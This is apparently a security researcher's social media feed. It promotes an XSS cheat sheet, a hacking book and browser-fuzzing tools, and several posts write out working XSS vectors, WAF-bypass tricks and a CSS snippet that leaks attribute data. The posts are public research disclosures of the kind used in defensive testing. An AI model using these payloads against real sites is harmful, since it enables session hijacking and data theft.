iiinova — where your digital self keeps evolving

Gareth Heyes @garethheyes.co.uk · 13/10/2026

🎄 $13.37 for the JavaScript for hackers paperback on Amazon USA this Christmas. The perfect present for the JS hacker in your life (or for you). javascriptforhackers.co.uk#buy

020 2

Gareth Heyes @garethheyes.co.uk · 13/10/2026

Safari wanted a decryption key. AmirMSafari gave it alert(1). Two fresh XSS vectors using <audio>, <video> and onwebkitneedkey just landed in our PortSwigger XSS cheat sheet. He keeps finding gems. We keep adding them. portswigger.net/web-security...

<audio src=data:,%23EXTM3U%0A%23EXT-X-TARGETDURATION:1%0A%23EXT-X-KEY:METHOD=AES-128,URI=%22skd:%22%0A%23EXTINF:1%0Ax onwebkitneedkey=alert(1)></audio>

072 7

Gareth Heyes @garethheyes.co.uk · 13/10/2026

Last night I updated Shazzer to improve the fuzz result toast. It's now more compact and you can see fuzz results for each browser in your personal network. shazzer.co.uk/vectors/6ab4...

010 1

Gareth Heyes @garethheyes.co.uk · 06/10/2026

Another XSS vector for our cheat sheet, this time using <usermedia> Special mention to AmirMohammad Safari, who found this one and has contributed so many excellent vectors to the cheat sheet. portswigger.net/web-security...

041 4

Gareth Heyes @garethheyes.co.uk · 05/10/2026

Building on my research, my colleague Alex exfiltrated a 600-character hex token instantly using just background images and selectors. No recursive imports. portswigger.net/research/sma...

041 4

Gareth Heyes @garethheyes.co.uk · 01/10/2026

Chrome's new <microphone> tag has something to say: Another XSS vector for our cheat sheet, found by omidxrz. portswigger.net/web-security...

<microphone onvalidationstatuschange=alert(1)>

042 4

Gareth Heyes @garethheyes.co.uk · 30/09/2026

Chrome added a <camera> tag. omidxrz made it an XSS vector: Now in our XSS cheat sheet. portswigger.net/web-security...

<camera onvalidationstatuschange=alert(1)>

041 4

Gareth Heyes @garethheyes.co.uk · 28/09/2026

Stuck inside a <meta> and angle brackets blocked? You can still get XSS... In Firefox, use hidden=until-found and onbeforematch with a URL hash to trigger your handler. Now in our XSS cheat sheet, thanks to Mathias Karlsson.

<meta name=description
content=x id=p
hidden=until-found
onbeforematch=alert(document.domain)>

1175 17

Gareth Heyes @garethheyes.co.uk · 12/09/2026

Burp Hackvertor now has jigsaw mode too!

010 1

Gareth Heyes @garethheyes.co.uk · 11/09/2026

Just something I've been working on. Jigsaw mode in Hackvertor!

011 1

Gareth Heyes @garethheyes.co.uk · 25/08/2026

I put a JavaScript URL inside an HTML tag name, and every browser executed it. Apparently, tag names are code now. portswigger.net/research/wha...

<JAVASCRIPT:ALERT(1) onfocus=location=localName autofocus tabindex=1>

1104 10

Gareth Heyes @garethheyes.co.uk · 13/08/2026

I stole an Outlook password with nothing but CSS inside an email 👀 Whitepaper below 👇 This video is from my research "CSS: the bomb inside your inbox". Whitepaper & slides: portswigger.net/research/css...

174 7

Gareth Heyes @garethheyes.co.uk · 29/07/2026

Next week I'm going to make you terrified of opening your emails...Join me at Black Hat USA for CSS:the bomb inside your inbox

052 5

Gareth Heyes @garethheyes.co.uk · 24/07/2026

I redesigned my website using Claude. I burned through a lot of tokens. I basically put all my research in a hallway and created a bookshelf of links. Yes I was up till 1am doing this 😂 it even works on the iPhone. No JS! garethheyes.co.uk

020 2

Gareth Heyes @garethheyes.co.uk · 21/07/2026

I haven't posted a crazy XSS vector for a while... Works on every browser

1396 39

Gareth Heyes @garethheyes.co.uk · 14/07/2026

Messing around with inertia on my blog. Demo: thespanner.co.uk

010 1

Gareth Heyes @garethheyes.co.uk · 02/07/2026

Just finished an improved toast dialog in Shazzer. It now shows the char codes with a preview of the character too when you press "Test Fuzz" or "Fuzz". If the character isn't printable it shows hex instead. shazzer.co.uk

000 0

Gareth Heyes @garethheyes.co.uk · 29/06/2026

I think this is the best most elegant XSS vector I've ever found

130 3

Gareth Heyes @garethheyes.co.uk · 10/06/2026

Shazzer now displays ranges in nice unicode groups. I made the decision to convert large amount of character logs into ranges a while ago, this compresses the data really well and I can show massive amounts of data like JS variables easily.

000 0

Gareth Heyes @garethheyes.co.uk · 19/05/2026

You may have noticed I've been a bit quiet on social media recently, this is why...I'm going to present at Black Hat! Can't wait to present these techniques! Here is a link to the abstract in case the screenshot is hard to read: blackhat.com/us-26/briefi...

182 8

Gareth Heyes @garethheyes.co.uk · 28/04/2026

I needed code snippets for presentations. I was worried about pasting code snippets into untrusted sites. So I just wrote my own using AI. You can trust I won't be tracking your code. It's very customisable and the default is for presentations. hackvertor.co.uk/snippet

172 7

Gareth Heyes @garethheyes.co.uk · 13/02/2026

I've added tool tips to the tags in Hackvertor!

020 2

Gareth Heyes @garethheyes.co.uk · 10/02/2026

New geolocation-based XSS vectors just landed in our XSS cheat sheet. Huge thanks to AmirMohammad Safari for the great submission. portswigger.net/web-security...

051 5

Gareth Heyes @garethheyes.co.uk · 07/02/2026

Massive update to Hackvertor - Syntax highlighting - Code editors - New auto decode box - Tag and code completion - Brand new auto decoder

162 6

Gareth Heyes @garethheyes.co.uk · 04/02/2026

Made Shazzer even more beautiful I took inspiration from F1.

020 2

Gareth Heyes @garethheyes.co.uk · 28/01/2026

We've just hit a very important milestone - our XSS Cheat Sheet now has 1337 vectors! Browse them here: portswigger.net/web-security...

1143 14

Gareth Heyes @garethheyes.co.uk · 05/01/2026

Been experimenting with AI to produce 3D effects. Here as you scroll the tiles rotate into place.

040 4

Gareth Heyes @garethheyes.co.uk · 18/12/2025

I meant to have a break from the computer on my day off...but I couldn't resist. I've updated my blog with cool effects!

020 2

Gareth Heyes @garethheyes.co.uk · 16/12/2025

Bypass CSP in a single click using my new Custom Action, powered by @renniepak.nl's excellent CSP bypass project.

1137 13

Gareth Heyes @garethheyes.co.uk · 03/12/2025

Burp Hackvertor has a bunch of new shortcuts and functionality. Try them out in Burp. They are activated from a Burp repeater request.

052 5

Gareth Heyes @garethheyes.co.uk · 28/11/2025

Hackvertor 2.2.33 released! - New MultiEncoder window (CTRL+ALT+M) for applying multiple transformations across layers and sending to Repeater tab - WebSockets support including a WebSocket handler and a new WebSocket setting - Improved auto decoding

060 6

Gareth Heyes @garethheyes.co.uk · 18/11/2025

Demo of the new Shadow Repeater response timing differences.

030 3

Gareth Heyes @garethheyes.co.uk · 14/11/2025

Coming to Hackvertor soon... Big thanks to CoreyD97 for the suggestion!

031 3

Gareth Heyes @garethheyes.co.uk · 30/10/2025

New Safari vector: Instead of using window name, I use document.URL to smuggle the payload and the title attribute to create the TypeError XSS. Hash: #'-alert(1)// Poc: portswigger-labs.net/xss/xss.php?...

<img src title=a"-' onerror="xss=title+URL,top.onerror=eval,new xss">

140 4

Gareth Heyes @garethheyes.co.uk · 16/10/2025

If you want to learn how to construct epic payloads like this? You need JavaScript for Hackers. Requires this hash: #<img/src/onerror=alert(1)> www.amazon.com/JavaScript-h...

<svg/onload=innerHTML=URL,innerHTML=textContent>

#<img/src/onerror=alert(1)>

040 4

Gareth Heyes @garethheyes.co.uk · 14/10/2025

Want to learn how to craft payloads like these? Read JavaScript for Hackers to master creative XSS techniques and understand exactly why they work. 🧠 Learn to think like a hacker ⚡ Master the art of payload design Grab your copy 👉 www.amazon.com/JavaScript-h...

041 4

Gareth Heyes @garethheyes.co.uk · 13/10/2025

Last chance to catch "Splitting the Email Atom: Exploiting Parsers to Bypass Access Controls" at the NDC Conference, Manchester. Join me and see just how wild the email RFCs really are. portswigger.net/research/tal...

Splitting the email atom
Gareth Heyes
Researcher, PortSwigger

Thurs, Dec 4, 2025 | 9:00am

044 4

Gareth Heyes @garethheyes.co.uk · 26/09/2025

In a shameless effort to promote my book. I've crafted some very special vectors for you. If you like them please purchase my book to read more. www.amazon.com/dp/B0BRD9B3GS

0133 13

Gareth Heyes @garethheyes.co.uk · 10/09/2025

Wrote a old school toString obfuscator. hackvertor.co.uk/urls/26

030 3

Gareth Heyes @garethheyes.co.uk · 01/09/2025

WAFs still blocking your payloads? Try our newest pointer capture tricks. Our XSS cheat sheet just got an upgrade thanks to Muhammad Ahsan. portswigger.net/web-security...

<input type=range ongotpointercapture=alert(1)>
<input type=range onlostpointercapture=alert(1)>

030 3

Gareth Heyes @garethheyes.co.uk · 28/08/2025

Imagine you have a XSS vulnerability but you have a undefined variable before your injection. Is all hope lost? Not at all you can use a technique called XSS Hoisting to declare the variable and continue your exploit. Thanks to ycam_asafety for the submission. portswigger.net/web-security...

<script>eval(myUndefVar);var inject="INJECTION_STARTS_HERE";var myUndefVar;alert(1);//";</script>

2187 18

Gareth Heyes @garethheyes.co.uk · 26/08/2025

PoC: portswigger-labs.net/inline-style... Custom Action: github.com/PortSwigger/...

030 3

Gareth Heyes @garethheyes.co.uk · 26/08/2025

I discovered how to use CSS to steal attribute data without selectors and stylesheet imports! This means you can now exploit CSS injection via style attributes! Learn how below: portswigger.net/research/inl...

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: url(/5))))); background: image-set(var(--steal));' data-userid="3">

2165 16

Gareth Heyes @garethheyes.co.uk · 24/07/2025

Is your target leaking CSP violations left and right? Mikhail Khramenkov reveals how to hijack the onsecuritypolicyviolation event to trigger JS in hidden inputs - when unsafe-inline is in play and styles are blocked. Now live on our XSS cheat sheet. portswigger.net/web-security...

<input style=x type="hidden" onsecuritypolicyviolation="alert(1)">

192 9

Gareth Heyes @garethheyes.co.uk · 18/07/2025

You can use big int after any number including octals, hex and binary. Oh JS I love your quirky nature ❤️. Might help bypass a flawed WAF regex.

<script>
throw-0o1337n,x=onerror=alert,1
</script>

040 4

Gareth Heyes @garethheyes.co.uk · 17/07/2025

All done with just this magic

010 1

Gareth Heyes @garethheyes.co.uk · 17/07/2025

You're not ready for how powerful Custom Actions are. You can now build your own AI hacking sidekicks that rewrite requests for you. Forget typing payloads - just let your assistant do it. 🔥 Welcome to the future of offensive automation. Get the source code: github.com/PortSwigger/...

142 4

Gareth Heyes @garethheyes.co.uk · 15/07/2025

Manual testing doesn't have to be repetitive. Meet Repeater Strike - an AI-powered Burp Suite extension that turns your Repeater traffic into a scan check. Source code: github.com/hackvertor/r... Blog post: portswigger.net/research/rep...

082 8

Gareth Heyes @garethheyes.co.uk · 09/07/2025

🔥 Want to think like a hacker and truly understand JavaScript? 💻 JavaScript for Hackers is your guide to breaking, bending, and mastering the language like never before.

1177 17